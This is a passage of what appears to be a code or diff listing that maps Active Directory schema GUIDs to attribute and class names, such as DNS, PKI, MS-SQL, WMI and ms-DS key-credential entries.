"c4af1073-ee50-4be0-b8c0-89a41fe99abe": "ms-DS-Auxiliary-Classes", + "696177a6-ccee-11d2-9993-0000f87a57d4": "MS-SQL-CharacterSet", + "18976af6-3b9e-11d2-90cc-00c04fd91ab1": "PKI-Extended-Key-Usage", + "244b2970-5abd-11d0-afd2-00c04fd930c9": "Wbem-Path", + "2e937524-dfb9-4cac-a436-a5b7da64fd66": "ms-DS-Computer-TGT-Lifetime", + "55dd81c9-c312-41f9-a84d-c6adbdf1e8e1": "ms-WMI-ObjectEncoding", + "641e87a4-8326-4771-ba2d-c706df35e35a": "ms-DS-Cloud-Extensions", + "963d2755-48be-11d1-a9c3-0000f80367c1": "dhcp-Update-Time", + "e185d243-f6ce-4adb-b496-b0c005d7823c": "ms-DS-Approx-Immed-Subordinates", + "6ddc42c0-ccee-11d2-9993-0000f87a57d4": "MS-SQL-SortOrder", + "e9b0a87e-3b9d-11d2-90cc-00c04fd91ab1": "PKI-Key-Usage", + "05308983-7688-11d1-aded-00c04fd8d5cd": "Well-Known-Objects", + "f2973131-9b4d-4820-b4de-0474ef3b849f": "ms-DS-Service-Allowed-To-Authenticate-To", + "bf967953-0de6-11d0-a285-00aa003049e2": "Display-Name", + "3e1ee99c-6604-4489-89d9-84798a89515a": "ms-DS-AuthenticatedAt-DC", + "72dc918a-ccee-11d2-9993-0000f87a57d4": "MS-SQL-UnicodeSortOrder", + "f0bfdefa-3b9d-11d2-90cc-00c04fd91ab1": "PKI-Max-Issuing-Depth", + "bf967a77-0de6-11d0-a285-00aa003049e2": "When-Changed", + "97da709a-3716-4966-b1d1-838ba53c3d89": "ms-DS-Service-Allowed-To-Authenticate-From", + "e2bc80f1-244a-4d59-acc6-ca5c4f82e6e1": "ms-WMI-PolicyTemplate", + "310b55ce-3dcd-4392-a96d-c9e35397c24f": "ms-DS-Device-Registration-Service-Container", + "bf967954-0de6-11d0-a285-00aa003049e2": "Display-Name-Printable", + "e8b2c971-a6df-47bc-8d6f-62770d527aa5": "ms-DS-AuthenticatedTo-Accountlist", + "7778bd90-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Clustered", + "1219a3ec-3b9e-11d2-90cc-00c04fd91ab1": "PKI-Overlap-Period", + "bf967a78-0de6-11d0-a285-00aa003049e2": "When-Created", + "5dfe3c20-ca29-407d-9bab-8421e55eb75c": "ms-DS-Service-TGT-Lifetime", + "9a7ad946-ca53-11d1-bbd0-0080c76670c0": "DIT-Content-Rules", + "503fc3e8-1cc6-461a-99a3-9eee04f402a7": "ms-DS-Az-Application-Data", + "7b91c840-ccee-11d2-9993-0000f87a57d4": "MS-SQL-NamedPipe", + "8447f9f1-1027-11d0-a05f-00aa006c33ed": "PKT", + "bf967a79-0de6-11d0-a285-00aa003049e2": "Winsock-Addresses", + "b23fc141-0df5-4aea-b33d-6cf493077b3f": "ms-DS-Assigned-AuthN-Policy-Silo", + "595b2613-4109-4e77-9013-a3bb4ef277c7": "ms-WMI-PolicyType", + "96bc3a1a-e3d2-49d3-af11-7b0df79d67f5": "ms-DS-Device-Registration-Service", + "fe6136a0-2073-11d0-a9c2-00aa006c33ed": "Division", + "db5b0728-6208-4876-83b7-95d3e5695275": "ms-DS-Az-Application-Name", + "8157fa38-ccee-11d2-9993-0000f87a57d4": "MS-SQL-MultiProtocol", + "8447f9f0-1027-11d0-a05f-00aa006c33ed": "PKT-Guid", + "bf967a7a-0de6-11d0-a285-00aa003049e2": "WWW-Home-Page", + "33140514-f57a-47d2-8ec4-04c4666600c7": "ms-DS-Assigned-AuthN-Policy-Silo-BL", + "f0f8ff8b-1191-11d0-a060-00aa006c33ed": "DMD-Location", + "7184a120-3ac4-47ae-848f-fe0ab20784d4": "ms-DS-Az-Application-Version", + "86b08004-ccee-11d2-9993-0000f87a57d4": "MS-SQL-SPX", + "19405b96-3cfa-11d1-a9c0-0000f80367c1": "Policy-Replication-Flags", + "9a9a0221-4a5b-11d1-a9c3-0000f80367c1": "WWW-Page-Other", + "164d1e05-48a6-4886-a8e9-77a2006e3c77": "ms-DS-AuthN-Policy-Silo-Members", + "45fb5a57-5018-4d0f-9056-997c8c9122d9": "ms-WMI-RangeParam", + "7c9e8c58-901b-4ea8-b6ec-4eb9e9fc0e11": "ms-DS-Device-Container", + "167757b9-47f3-11d1-a9c3-0000f80367c1": "DMD-Name", + "33d41ea8-c0c9-4c92-9494-f104878413fd": "ms-DS-Az-Biz-Rule", + "8ac263a6-ccee-11d2-9993-0000f87a57d4": "MS-SQL-TCPIP", + "281416c4-1968-11d0-a28f-00aa003049e2": "Port-Name", + "bf967a7b-0de6-11d0-a285-00aa003049e2": "X121-Address", + "11fccbc7-fbe4-4951-b4b7-addf6f9efd44": "ms-DS-AuthN-Policy-Silo-Members-BL", + "2df90d86-009f-11d2-aa4c-00c04fd7d83a": "DN-Reference-Update", + "52994b56-0e6c-4e07-aa5c-ef9d7f5a0e25": "ms-DS-Az-Biz-Rule-Language", + "8fda89f4-ccee-11d2-9993-0000f87a57d4": "MS-SQL-AppleTalk", + "bf9679fa-0de6-11d0-a285-00aa003049e2": "Poss-Superiors", + "d07da11f-8a3d-42b6-b0aa-76c962be719a": "x500uniqueIdentifier", + "cd26b9f3-d415-442a-8f78-7c61523ee95b": "ms-DS-User-AuthN-Policy", + "6afe8fe2-70bc-4cce-b166-a96f7359c514": "ms-WMI-RealRangeParam", + "d2b1470a-8f84-491e-a752-b401ee00fe5c": "ms-DS-AuthN-Policy-Silos", + "e0fa1e65-9b45-11d0-afdd-00c04fd930c9": "Dns-Allow-Dynamic", + "013a7277-5c2d-49ef-a7de-b765b36a3f6f": "ms-DS-Az-Class-ID", + "94c56394-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Vines", + "9a7ad94c-ca53-11d1-bbd0-0080c76670c0": "Possible-Inferiors", + "bf967a7f-0de6-11d0-a285-00aa003049e2": "X509-Cert", + "2f17faa9-5d47-4b1f-977e-aa52fabe65c8": "ms-DS-User-AuthN-Policy-BL", + "e0fa1e66-9b45-11d0-afdd-00c04fd930c9": "Dns-Allow-XFR", + "6448f56a-ca70-4e2e-b0af-d20e4ce653d0": "ms-DS-Az-Domain-Timeout", + "9a7d4770-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Status", + "bf9679fb-0de6-11d0-a285-00aa003049e2": "Post-Office-Box", + "612cb747-c0e8-4f92-9221-fdd5f15b550d": "UnixUserPassword", + "afb863c9-bea3-440f-a9f3-6153cc668929": "ms-DS-Computer-AuthN-Policy", + "3c7e6f83-dd0e-481b-a0c2-74cd96ef2a66": "ms-WMI-Rule", + "3a9adf5d-7b97-4f7e-abb4-e5b55c1c06b4": "ms-DS-AuthN-Policies", + "72e39547-7b18-11d1-adef-00c04fd8d5cd": "DNS-Host-Name", + "f90abab0-186c-4418-bb85-88447c87222a": "ms-DS-Az-Generate-Audits", + "9fcc43d4-ccee-11d2-9993-0000f87a57d4": "MS-SQL-LastUpdatedDate", + "bf9679fc-0de6-11d0-a285-00aa003049e2": "Postal-Address", + "850fcc8f-9c6b-47e1-b671-7c654be4d5b3": "UidNumber", + "2bef6232-30a1-457e-8604-7af6dbf131b8": "ms-DS-Computer-AuthN-Policy-BL", + "e0fa1e68-9b45-11d0-afdd-00c04fd930c9": "Dns-Notify-Secondaries", + "665acb5c-bb92-4dbc-8c59-b3638eab09b3": "ms-DS-Az-Last-Imported-Biz-Rule-Path", + "a42cd510-ccee-11d2-9993-0000f87a57d4": "MS-SQL-InformationURL", + "bf9679fd-0de6-11d0-a285-00aa003049e2": "Postal-Code", + "c5b95f0c-ec9e-41c4-849c-b46597ed6696": "GidNumber", + "2a6a6d95-28ce-49ee-bb24-6d1fc01e3111": "ms-DS-Service-AuthN-Policy", + "f1e44bdf-8dd3-4235-9c86-f91f31f5b569": "ms-WMI-ShadowObject", + "f9f0461e-697d-4689-9299-37e61d617b0d": "ms-DS-AuthN-Policy-Silo", + "675a15fe-3b70-11d2-90cc-00c04fd91ab1": "DNS-Property", + "5e53368b-fc94-45c8-9d7d-daf31ee7112d": "ms-DS-Az-LDAP-Query", + "a92d23da-ccee-11d2-9993-0000f87a57d4": "MS-SQL-ConnectionURL", + "bf9679fe-0de6-11d0-a285-00aa003049e2": "Preferred-Delivery-Method", + "a3e03f1f-1d55-4253-a0af-30c2a784e46e": "Gecos", + "2c1128ec-5aa2-42a3-b32d-f0979ca9fcd2": "ms-DS-Service-AuthN-Policy-BL", + "f60a8f96-57c4-422c-a3ad-9e2fa09ce6f7": "ms-DS-Device-MDMStatus", + "e0fa1e69-9b45-11d0-afdd-00c04fd930c9": "Dns-Record", + "cfb9adb7-c4b7-4059-9568-1ed9db6b7248": "ms-DS-Az-Major-Version", + "ae0c11b8-ccee-11d2-9993-0000f87a57d4": "MS-SQL-PublicationURL", + "856be0d0-18e7-46e1-8f5f-7ee4d9020e0d": "preferredLanguage", + "bc2dba12-000f-464d-bf1d-0808465d8843": "UnixHomeDirectory", + "b87a0ad8-54f7-49c1-84a0-e64d12853588": "ms-DS-Assigned-AuthN-Policy", + "6cc8b2b5-12df-44f6-8307-e74f5cdee369": "ms-WMI-SimplePolicyTemplate", + "a11703b7-5641-4d9c-863e-5fb3325e74e0": "ms-DS-GeoCoordinates-Altitude", + "bf967959-0de6-11d0-a285-00aa003049e2": "Dns-Root", + "ee85ed93-b209-4788-8165-e702f51bfbf3": "ms-DS-Az-Minor-Version", + "b222ba0e-ccee-11d2-9993-0000f87a57d4": "MS-SQL-GPSLatitude", + "bf9679ff-0de6-11d0-a285-00aa003049e2": "Preferred-OU", + "a553d12c-3231-4c5e-8adf-8d189697721e": "LoginShell", + "2d131b3c-d39f-4aee-815e-8db4bc1ce7ac": "ms-DS-Assigned-AuthN-Policy-BL", + "dc66d44e-3d43-40f5-85c5-3c12e169927e": "ms-DS-GeoCoordinates-Latitude", + "e0fa1e67-9b45-11d0-afdd-00c04fd930c9": "Dns-Secure-Secondaries", + "a5f3b553-5d76-4cbe-ba3f-4312152cab18": "ms-DS-Az-Operation-ID", + "b7577c94-ccee-11d2-9993-0000f87a57d4": "MS-SQL-GPSLongitude", + "52458022-ca6a-11d0-afff-0000f80367c1": "Prefix-Map", + "f8f2689c-29e8-4843-8177-e8b98e15eeac": "ShadowLastChange", + "7a560cc2-ec45-44ba-b2d7-21236ad59fd5": "ms-DS-AuthN-Policy-Enforced", + "ab857078-0142-4406-945b-34c9b6b13372": "ms-WMI-Som", + "94c42110-bae4-4cea-8577-af813af5da25": "ms-DS-GeoCoordinates-Longitude", + "d5eb2eb7-be4e-463b-a214-634a44d7392e": "DNS-Tombstoned", + "515a6b06-2617-4173-8099-d5605df043c6": "ms-DS-Az-Scope-Name", + "bcdd4f0e-ccee-11d2-9993-0000f87a57d4": "MS-SQL-GPSHeight", + "a8df744b-c5ea-11d1-bbcb-0080c76670c0": "Presentation-Address", + "a76b8737-e5a1-4568-b057-dc12e04be4b2": "ShadowMin", + "f2f51102-6be0-493d-8726-1546cdbc8771": "ms-DS-AuthN-Policy-Silo-Enforced", + "bd29bf90-66ad-40e1-887b-10df070419a6": "ms-DS-External-Directory-Object-Id", + "f18a8e19-af5f-4478-b096-6f35c27eb83f": "documentAuthor", + "2629f66a-1f95-4bf3-a296-8e9d7b9e30c8": "ms-DS-Az-Script-Engine-Cache-Max", + "c07cc1d0-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Version", + "963d2739-48be-11d1-a9c3-0000f80367c1": "Previous-CA-Certificates", + "f285c952-50dd-449e-9160-3b880d99988d": "ShadowMax", + "0bc579a2-1da7-4cea-b699-807f3b9d63a4": "ms-WMI-StringSetParam", + "0b21ce82-ff63-46d9-90fb-c8b9f24e97b9": "documentIdentifier", + "87d0fb41-2c8b-41f6-b972-11fdfd50d6b0": "ms-DS-Az-Script-Timeout", + "c57f72f4-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Language", + "963d273d-48be-11d1-a9c3-0000f80367c1": "Previous-Parent-CA", + "7ae89c9c-2976-4a46-bb8a-340f88560117": "ShadowWarning", + "2628a46a-a6ad-4ae0-b854-2b12d9fe6f9e": "account", + "bf967aa1-0de6-11d0-a285-00aa003049e2": "Mail-Recipient", + "b958b14e-ac6d-4ec4-8892-be70b69f7281": "documentLocation", + "7b078544-6c82-4fe9-872f-ff48ad2b2e26": "ms-DS-Az-Task-Is-Role-Definition", + "8386603c-ccef-11d2-9993-0000f87a57d4": "MS-SQL-Description", + "bf967a00-0de6-11d0-a285-00aa003049e2": "Primary-Group-ID", + "86871d1f-3310-4312-8efd-af49dcfb2671": "ShadowInactive", + "bf967a83-0de6-11d0-a285-00aa003049e2": "Class-Schema", + "d9a799b2-cef3-48b3-b5ad-fb85f8dd3214": "ms-WMI-UintRangeParam", + "59527d0f-b7c0-4ce2-a1dd-71cef6963292": "ms-DS-Is-Compliant", + "170f09d7-eb69-448a-9a30-f1afecfd32d7": "documentPublisher", + "8491e548-6c38-4365-a732-af041569b02c": "ms-DS-Az-Object-Guid", + "ca48eba8-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Type", + "c0ed8738-7efd-4481-84d9-66d2db8be369": "Primary-Group-Token", + "75159a00-1fff-4cf4-8bff-4ef2695cf643": "ShadowExpire", + "d1328fbc-8574-4150-881d-0b1088827878": "ms-DS-Key-Principal-BL", + "de265a9c-ff2c-47b9-91dc-6e6fe2c43062": "documentTitle", + "b5f7e349-7a5b-407c-a334-a31c3f538b98": "ms-DS-Az-Generic-Data", + "d0aedb2e-ccee-11d2-9993-0000f87a57d4": "MS-SQL-InformationDirectory", + "281416d7-1968-11d0-a28f-00aa003049e2": "Print-Attributes", + "8dfeb70d-c5db-46b6-b15e-a4389e6cee9b": "ShadowFlag", + "7f561288-5301-11d1-a9c5-0000f80367c1": "ACS-Policy", + "8f4beb31-4e19-46f5-932e-5fa03c339b1d": "ms-WMI-UintSetParam", + "c4a46807-6adc-4bbb-97de-6bed181a1bfe": "ms-DS-Device-Trust-Type", + "94b3a8a9-d613-4cec-9aad-5fbcc1046b43": "documentVersion", + "d31a8757-2447-4545-8081-3bb610cacbf2": "ms-DS-Behavior-Version", + "d5a0dbdc-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Database", + "281416cd-1968-11d0-a28f-00aa003049e2": "Print-Bin-Names", + "03dab236-672e-4f61-ab64-f77d2dc2ffab": "MemberUid", + "1dcc0722-aab0-4fef-956f-276fe19de107": "ms-DS-Shadow-Principal-Sid", + "7bfdcb7a-4807-11d1-a9c3-0000f80367c1": "Domain-Certificate-Authorities", + "f0d8972e-dd5b-40e5-a51d-044c7c17ece7": "ms-DS-Byte-Array", + "db77be4a-ccee-11d2-9993-0000f87a57d4": "MS-SQL-AllowAnonymousSubscription", + "281416d2-1968-11d0-a28f-00aa003049e2": "Print-Collate", + "0f6a17dc-53e5-4be8-9442-8f3ce2f9012a": "MemberNisNetgroup", + "2e899b04-2834-11d3-91d4-0000f87a57d4": "ACS-Resource-Limits", + "b82ac26b-c6db-4098-92c6-49c18a3336e1": "ms-WMI-UnknownRangeParam", + "19195a55-6da0-11d0-afd3-00c04fd930c9": "Domain-Component", + "69cab008-cdd4-4bc9-bab8-0ff37efe1b20": "ms-DS-Cached-Membership", + "e0c6baae-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Alias", + "281416d3-1968-11d0-a28f-00aa003049e2": "Print-Color", + "a8032e74-30ef-4ff5-affc-0fc217783fec": "NisNetgroupTriple", + "11f95545-d712-4c50-b847-d2781537c633": "ms-DS-Shadow-Principal-Container", + "b000ea7b-a086-11d0-afdd-00c04fd930c9": "Domain-Cross-Ref", + "3566bf1f-beee-4dcb-8abe-ef89fcfec6c1": "ms-DS-Cached-Membership-Time-Stamp", + "e9098084-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Size", + "281416cc-1968-11d0-a28f-00aa003049e2": "Print-Duplex-Supported", + "ff2daebf-f463-495a-8405-3e483641eaa2": "IpServicePort", + "7f561289-5301-11d1-a9c5-0000f80367c1": "ACS-Subnet", + "05630000-3927-4ede-bf27-ca91f275c26f": "ms-WMI-WMIGPO", + "963d2734-48be-11d1-a9c3-0000f80367c1": "Domain-ID", + "23773dc2-b63a-11d2-90e1-00c04fd91ab1": "MS-DS-Consistency-Guid", + "ede14754-ccee-11d2-9993-0000f87a57d4": "MS-SQL-CreationDate", + "281416ca-1968-11d0-a28f-00aa003049e2": "Print-End-Time", + "cd96ec0b-1ed6-43b4-b26b-f170b645883f": "IpServiceProtocol", + "770f4cb3-1643-469c-b766-edd77aa75e14": "ms-DS-Shadow-Principal", + "7f561278-5301-11d1-a9c5-0000f80367c1": "Domain-Identifier", + "178b7bc2-b63a-11d2-90e1-00c04fd91ab1": "MS-DS-Consistency-Child-Count", + "f2b6abca-ccee-11d2-9993-0000f87a57d4": "MS-SQL-LastBackupDate", + "281416cb-1968-11d0-a28f-00aa003049e2": "Print-Form-Name", + "ebf5c6eb-0e2d-4415-9670-1081993b4211": "IpProtocolNumber", + "3e74f60f-3e73-11d1-a9c0-0000f80367c1": "Address-Book-Container", + "9a0dc344-c100-11d1-bbc5-0080c76670c0": "MSMQ-Configuration", + "c294f84b-2fad-4b71-be4c-9fc5701f60ba": "ms-DS-Key-Id", + "bf96795d-0de6-11d0-a285-00aa003049e2": "Domain-Policy-Object", + "c5e60132-1480-11d3-91c1-0000f87a57d4": "MS-DS-Creator-SID", + "f6d6dd88-ccee-11d2-9993-0000f87a57d4": "MS-SQL-LastDiagnosticDate", + "ba305f6d-47e3-11d0-a1a6-00c04fd930c9": "Print-Keep-Printed-Jobs", + "966825f5-01d9-4a5c-a011-d15ae84efa55": "OncRpcNumber", + "a12e0e9f-dedb-4f31-8f21-1311b958182f": "ms-DS-Key-Material", + "80a67e2a-9f22-11d0-afdd-00c04fd930c9": "Domain-Policy-Reference", + "234fcbd8-fb52-4908-a328-fd9f6e58e403": "ms-DS-Date-Time", + "fbcda2ea-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Applications", + "281416d6-1968-11d0-a28f-00aa003049e2": "Print-Language", + "de8bb721-85dc-4fde-b687-9657688e667e": "IpHostNumber", + "5fd4250a-1262-11d0-a060-00aa006c33ed": "Address-Template", + "876d6817-35cc-436c-acea-5ef7174dd9be": "MSMQ-Custom-Recipient", + "de71b44c-29ba-4597-9eca-c3348ace1917": "ms-DS-Key-Usage", + "bf96795e-0de6-11d0-a285-00aa003049e2": "Domain-Replica", + "6818f726-674b-441b-8a3a-f40596374cea": "ms-DS-Default-Quota", + "01e9a98a-ccef-11d2-9993-0000f87a57d4": "MS-SQL-Keywords", + "ba305f7a-47e3-11d0-a1a6-00c04fd930c9": "Print-MAC-Address", + "4e3854f4-3087-42a4-a813-bb0c528958d3": "IpNetworkNumber", + "bd61253b-9401-4139-a693-356fc400f3ea": "ms-DS-Key-Principal", + "80a67e29-9f22-11d0-afdd-00c04fd930c9": "Domain-Wide-Policy", + "a9b38cb6-189a-4def-8a70-0fcfa158148e": "ms-DS-Deleted-Object-Lifetime", + "c1676858-d34b-11d2-999a-0000f87a57d4": "MS-SQL-Publisher", + "281416d1-1968-11d0-a28f-00aa003049e2": "Print-Max-Copies", + "6ff64fcd-462e-4f62-b44a-9a5347659eb9": "IpNetmaskNumber", + "3fdfee4f-47f4-11d1-a9c3-0000f80367c1": "Application-Entity", + "9a0dc345-c100-11d1-bbc5-0080c76670c0": "MSMQ-Enterprise-Settings", + "642c1129-3899-4721-8e21-4839e3988ce5": "ms-DS-Device-DN", + "1a1aa5b5-262e-4df6-af04-2cf6b0d80048": "drink", + "2143acca-eead-4d29-b591-85fa49ce9173": "ms-DS-DnsRootAlias", + "c3bb7054-d34b-11d2-999a-0000f87a57d4": "MS-SQL-AllowKnownPullSubscription", + "281416cf-1968-11d0-a28f-00aa003049e2": "Print-Max-Resolution-Supported", + "e6a522dd-9770-43e1-89de-1de5044328f7": "MacAddress", + "dffbd720-0872-402e-9940-fcd78db049ba": "ms-DS-Computer-SID", + "281416c5-1968-11d0-a28f-00aa003049e2": "Driver-Name", + "5706aeaf-b940-4fb2-bcfc-5268683ad9fe": "ms-DS-Enabled-Feature", + "c4186b6e-d34b-11d2-999a-0000f87a57d4": "MS-SQL-AllowImmediateUpdatingSubscription", + "ba305f6f-47e3-11d0-a1a6-00c04fd930c9": "Print-Max-X-Extent", + "d72a0750-8c7c-416e-8714-e65f11e908be": "BootParameter", + "5fd4250b-1262-11d0-a060-00aa006c33ed": "Application-Process", + "46b27aac-aafa-4ffb-b773-e5bf621ee87b": "MSMQ-Group", + "b6e5e988-e5e4-4c86-a2ae-0dacb970a0e1": "ms-DS-Custom-Key-Information", + "ba305f6e-47e3-11d0-a1a6-00c04fd930c9": "Driver-Version", + "ce5b01bc-17c6-44b8-9dc1-a9668b00901b": "ms-DS-Enabled-Feature-BL", + "c458ca80-d34b-11d2-999a-0000f87a57d4": "MS-SQL-AllowQueuedUpdatingSubscription", + "ba305f70-47e3-11d0-a1a6-00c04fd930c9": "Print-Max-Y-Extent", + "e3f3cb4e-0f20-42eb-9703-d2ff26e52667": "BootFile", + "649ac98d-9b9a-4d41-af6b-f616f2a62e4a": "ms-DS-Key-Approximate-Last-Logon-Time-Stamp", + "d167aa4b-8b08-11d2-9939-0000f87a57d4": "DS-Core-Propagation-Data", + "e1e9bad7-c6dd-4101-a843-794cec85b038": "ms-DS-Entry-Time-To-Die", + "c49b8be8-d34b-11d2-999a-0000f87a57d4": "MS-SQL-AllowSnapshotFilesFTPDownloading", + "3bcbfcf5-4d3d-11d0-a1a6-00c04fd930c9": "Print-Media-Ready", + "969d3c79-0e9a-4d95-b0ac-bdde7ff8f3a1": "NisMapName", + "f780acc1-56f0-11d1-a9c6-0000f80367c1": "Application-Settings", + "50776997-3c3d-11d2-90cc-00c04fd91ab1": "MSMQ-Migrated-User", + "f0f8ff86-1191-11d0-a060-00aa006c33ed": "DS-Heuristics", + "9d054a5a-d187-46c1-9d85-42dfc44a56dd": "ms-DS-ExecuteScriptPassword", + "c4e311fc-d34b-11d2-999a-0000f87a57d4": "MS-SQL-ThirdParty", + "244b296f-5abd-11d0-afd2-00c04fd930c9": "Print-Media-Supported", + "4a95216e-fcc0-402e-b57f-5971626148a9": "NisMapEntry", + "ee1f5543-7c2e-476a-8b3f-e11f4af6c498": "ms-DS-Key-Credential", + "ee8d0ae0-6f91-11d2-9905-0000f87a57d4": "DS-UI-Admin-Maximum", + "b92fd528-38ac-40d4-818d-0433380837c1": "ms-DS-External-Key", + "4cc4601e-7201-4141-abc8-3e529ae88863": "ms-TAPI-Conference-Blob", + "ba305f74-47e3-11d0-a1a6-00c04fd930c9": "Print-Memory", + "27eebfa2-fbeb-4f8e-aad6-c50247994291": "msSFU-30-Search-Container", + "19195a5c-6da0-11d0-afd3-00c04fd930c9": "Application-Site-Settings", + "9a0dc343-c100-11d1-bbc5-0080c76670c0": "MSMQ-Queue", + "938ad788-225f-4eee-93b9-ad24a159e1db": "ms-DS-Key-Credential-Link-BL", + "f6ea0a94-6f91-11d2-9905-0000f87a57d4": "DS-UI-Admin-Notification", + "604877cd-9cdb-47c7-b03d-3daadb044910": "ms-DS-External-Store", + "efd7d7f7-178e-4767-87fa-f8a16b840544": "ms-TAPI-Ip-Address", + "ba305f71-47e3-11d0-a1a6-00c04fd930c9": "Print-Min-X-Extent", + "32ecd698-ce9e-4894-a134-7ad76b082e83": "msSFU-30-Key-Attributes", + "bf967aba-0de6-11d0-a285-00aa003049e2": "User", + "fcca766a-6f91-11d2-9905-0000f87a57d4": "DS-UI-Shell-Maximum", + "9b88bda8-dd82-4998-a91d-5f2d2baf1927": "ms-DS-Optional-Feature-GUID", + "89c1ebcf-7a5f-41fd-99ca-c900b32299ab": "ms-TAPI-Protocol-Id", + "ba305f72-47e3-11d0-a1a6-00c04fd930c9": "Print-Min-Y-Extent", + "a2e11a42-e781-4ca1-a7fa-ec307f62b6a1": "msSFU-30-Field-Separator", + "ddc790ac-af4d-442a-8f0f-a1d4caa7dd92": "Application-Version", + "9a0dc347-c100-11d1-bbc5-0080c76670c0": "MSMQ-Settings", + "167757bc-47f3-11d1-a9c3-0000f80367c1": "DSA-Signature", + "fb00dcdf-ac37-483a-9c12-ac53a6603033": "ms-DS-Filter-Containers", + "70a4e7ea-b3b9-4643-8918-e6dd2471bfd4": "ms-TAPI-Unique-Identifier", + "ba305f79-47e3-11d0-a1a6-00c04fd930c9": "Print-Network-Address", + "95b2aef0-27e4-4cb9-880a-a2d9a9ea23b8": "msSFU-30-Intra-Field-Separator", + "5df2b673-6d41-4774-b3e8-d52e8ee9ff99": "ms-DS-Device", + "52458021-ca6a-11d0-afff-0000f80367c1": "Dynamic-LDAP-Server", + "11e9a5bc-4517-4049-af9c-51554fb0fc09": "ms-DS-Has-Instantiated-NCs", + "6366c0c1-6972-4e66-b3a5-1d52ad0c0547": "ms-WMI-Author", + "ba305f6a-47e3-11d0-a1a6-00c04fd930c9": "Print-Notify", + "ef9a2df0-2e57-48c8-8950-0cc674004733": "msSFU-30-Search-Attributes", + "9a0dc346-c100-11d1-bbc5-0080c76670c0": "MSMQ-Site-Link", + "5b47d60f-6090-40b2-9f37-2a4de88f3063": "ms-DS-Key-Credential-Link", + "bf967961-0de6-11d0-a285-00aa003049e2": "E-mail-Addresses", + "6f17e347-a842-4498-b8b3-15e007da4fed": "ms-DS-Has-Domain-NCs", + "f9cdf7a0-ec44-4937-a79b-cd91522b3aa8": "ms-WMI-ChangeDate", + "3bcbfcf4-4d3d-11d0-a1a6-00c04fd930c9": "Print-Number-Up", + "e167b0b6-4045-4433-ac35-53f972d45cba": "msSFU-30-Result-Attributes", + "bf967a81-0de6-11d0-a285-00aa003049e2": "Builtin-Domain", + "8e4eb2ec-4712-11d0-a1a0-00c04fd930c9": "EFSPolicy", + "ae2de0e2-59d7-4d47-8d47-ed4dfe4357ad": "ms-DS-Has-Master-NCs", + "90c1925f-4a24-4b07-b202-be32eb3c8b74": "ms-WMI-Class", + "281416d0-1968-11d0-a28f-00aa003049e2": "Print-Orientations-Supported", + "b7b16e01-024f-4e23-ad0d-71f1a406b684": "msSFU-30-Map-Filter", + "19195a60-6da0-11d0-afd3-00c04fd930c9": "NTDS-Connection", + "f2699093-f25a-4220-9deb-03df4cc4a9c5": "Dns-Zone-Scope-Container", + "bf967962-0de6-11d0-a285-00aa003049e2": "Employee-ID", + "80641043-15a2-40e1-92a2-8ca866f70776": "ms-DS-Host-Service-Account", + "2b9c0ebc-c272-45cb-99d2-4d0e691632e0": "ms-WMI-ClassDefinition", + "ba305f69-47e3-11d0-a1a6-00c04fd930c9": "Print-Owner", + "4cc908a2-9e18-410e-8459-f17cc422020a": "msSFU-30-Master-Server-Name", + "7d6c0e9d-7e20-11d0-afd6-00c04fd930c9": "Category-Registration", + "a8df73ef-c5ea-11d1-bbcb-0080c76670c0": "Employee-Number", + "79abe4eb-88f3-48e7-89d6-f4bc7e98c331": "ms-DS-Host-Service-Account-BL", + "748b0a2e-3351-4b3f-b171-2f17414ea779": "ms-WMI-CreationDate", + "19405b97-3cfa-11d1-a9c0-0000f80367c1": "Print-Pages-Per-Minute", + "02625f05-d1ee-4f9f-b366-55266becb95c": "msSFU-30-Order-Number", + "f0f8ffab-1191-11d0-a060-00aa006c33ed": "NTDS-DSA", + "696f8a61-2d3f-40ce-a4b3-e275dfcc49c5": "Dns-Zone-Scope", + "a8df73f0-c5ea-11d1-bbcb-0080c76670c0": "Employee-Type", + "7bc64cea-c04e-4318-b102-3e0729371a65": "ms-DS-Integer", + "50c8673a-8f56-4614-9308-9e1340fb9af3": "ms-WMI-Genus", + "ba305f77-47e3-11d0-a1a6-00c04fd930c9": "Print-Rate", + "16c5d1d3-35c2-4061-a870-a5cefda804f0": "msSFU-30-Name", + "3fdfee50-47f4-11d1-a9c3-0000f80367c1": "Certification-Authority", + "a8df73f2-c5ea-11d1-bbcb-0080c76670c0": "Enabled", + "bc60096a-1b47-4b30-8877-602c93f56532": "ms-DS-IntId", + "9339a803-94b8-47f7-9123-a853b9ff7e45": "ms-WMI-ID", + "ba305f78-47e3-11d0-a1a6-00c04fd930c9": "Print-Rate-Unit", + "20ebf171-c69a-4c31-b29d-dcb837d8912d": "msSFU-30-Aliases", + "85d16ec1-0791-4bc8-8ab3-70980602ff8c": "NTDS-DSA-RO", + "e0fa1e8c-9b45-11d0-afdd-00c04fd930c9": "Dns-Node", + "bf967963-0de6-11d0-a285-00aa003049e2": "Enabled-Connection", + "6fabdcda-8c53-204f-b1a4-9df0c67c1eb4": "ms-DS-Is-Possible-Values-Present", + "1b0c07f8-76dd-4060-a1e1-70084619dc90": "ms-WMI-intDefault", + "281416c6-1968-11d0-a28f-00aa003049e2": "Print-Separator-File", + "37830235-e5e9-46f2-922b-d8d44f03e7ae": "msSFU-30-Key-Values", + "bf967a82-0de6-11d0-a285-00aa003049e2": "Class-Registration", + "3417ab48-df24-4fb1-80b0-0fcb367e25e3": "ms-DS-Expire-Passwords-On-Smart-Card-Only-Accounts", + "2a39c5b3-8960-11d1-aebc-0000f80367c1": "Enrollment-Providers", + "1df5cf33-0fe5-499e-90e1-e94b42718a46": "ms-DS-isGC", + "18e006b9-6445-48e3-9dcf-b5ecfbc4df8e": "ms-WMI-intFlags1", + "ba305f68-47e3-11d0-a1a6-00c04fd930c9": "Print-Share-Name", + "9ee3b2e3-c7f3-45f8-8c9f-1382be4984d2": "msSFU-30-Nis-Domain", + "19195a5f-6da0-11d0-afd3-00c04fd930c9": "NTDS-Service", + "65650576-4699-4fc9-8d18-26e0cd0137a6": "ms-DS-Token-Group-Names", + "d213decc-d81a-4384-aac2-dcfcfd631cf8": "Entry-TTL", + 